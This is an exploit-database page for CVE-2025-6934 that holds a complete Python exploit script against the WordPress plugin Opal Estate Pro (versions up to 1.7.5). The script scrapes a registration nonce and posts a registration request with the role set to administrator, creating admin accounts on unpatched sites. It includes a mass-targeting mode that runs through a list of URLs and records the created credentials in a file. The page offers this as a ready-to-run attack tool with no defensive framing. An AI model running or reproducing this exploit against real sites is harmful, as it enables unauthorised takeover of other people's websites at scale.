Exploit databaseDownload repository ZIP
GH-53c7badf19976deb8691876fc69c51df
anothersec/cve-2025-6934
Sources for CVE-2025-6934
6 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files5
anothersec/cve-2025-6934Revision b7590e3a7a32
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit.py
Python · 5,705 bytes# coding=utf-8
import requests
import re
import sys
import time
import json
from bs4 import BeautifulSoup
from urllib.parse import urljoin
GRAY = "\033[90m"
YELLOW = "\033[33m"
RESET = "\033[0m"
BANNER = f"""{GRAY}
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗ ██████╗ █████╗ ██████╗ ██╗ ██╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ██╔════╝██╔══██╗╚════██╗██║ ██║
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗█████╗███████╗╚██████║ █████╔╝███████║
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝██╔═══██╗╚═══██║ ╚═══██╗╚════██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗███████║ ╚██████╔╝█████╔╝██████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝ ╚═════╝ ╚════╝ ╚═════╝ ╚═╝
{RESET}
"""
requests.packages.urllib3.disable_warnings()
HEADERS = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}
def version_tuple_from_text(text):
m = re.search(r"Stable tag:\s*([\d\.]+)", text)
if m:
return m.group(1)
return None
def is_vulnerable(version):
if not version:
return False
try:
return version <= "1.7.5"
except:
return False
def check_target(url, username, password, email):
if not url.startswith("http"):
url = "http://" + url
url = url.rstrip("/")
ver = None
try:
readme_url = urljoin(url, "/wp-content/plugins/opal-estate-pro/readme.txt")
r = requests.get(readme_url, timeout=10, verify=False, headers=HEADERS)
if r.status_code == 200:
ver = version_tuple_from_text(r.text)
except:
pass
nonce = None
try:
reg_url = urljoin(url, "/wp-login.php?action=register")
r = requests.get(reg_url, timeout=10, verify=False, headers=HEADERS)
soup = BeautifulSoup(r.text, "html.parser")
tag = soup.find("input", {"name": "opalestate-register-nonce"})
if tag:
nonce = tag.get("value")
except:
pass
if is_vulnerable(ver) and nonce:
target = urljoin(url, "/wp-admin/admin-ajax.php")
data = {
"username": username,
"email": email,
"password": password,
"password1": password,
"role": "administrator",
"confirmed_register": "on",
"opalestate-register-nonce": nonce,
"_wp_http_referer": "/",
"ajax": "1",
"action": "opalestate_register_form"
}
try:
r = requests.post(target, data=data, timeout=10, verify=False, headers=HEADERS)
if r.status_code == 200:
try:
result = r.json()
if result.get("status") is True:
print(f"{url} {YELLOW}[VULN]{RESET}")
with open("save.txt", "a") as f:
f.write(f"URL: {url}\n")
f.write(f"USERNAME: {username}\n")
f.write(f"PASSWORD: {password}\n")
f.write(f"EMAIL: {email}\n")
f.write("ROLE: administrator\n")
f.write("-"*40 + "\n")
time.sleep(0.5)
return
else:
msg = result.get("message", "")
clean_msg = BeautifulSoup(msg, "html.parser").get_text().strip()
print(f"{url} {GRAY}[not vuln] Reason: {clean_msg}{RESET}")
return
except json.JSONDecodeError:
print(f"{url} {GRAY}[Not VULN] non-JSON response{RESET}")
return
except Exception as e:
print(f"{url} {GRAY}[Not VULN] Error: {e}{RESET}")
return
print(f"{url} {GRAY}[Not VULN]{RESET}")
def main():
print(BANNER)
username = input("username: ").strip()
password = input("password: ").strip()
email = input("email: ").strip()
mode = input("mass Target? (y/n): ").strip().lower()
open("save.txt", "w").close()
if mode == "y":
list_file = input("enter list file name: ").strip()
try:
with open(list_file) as f:
targets = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
print(f"[!] file '{list_file}' not found")
return
for t in targets:
check_target(t, username, password, email)
else:
url = input("target url: ").strip()
check_target(url, username, password, email)
if __name__ == "__main__":
main()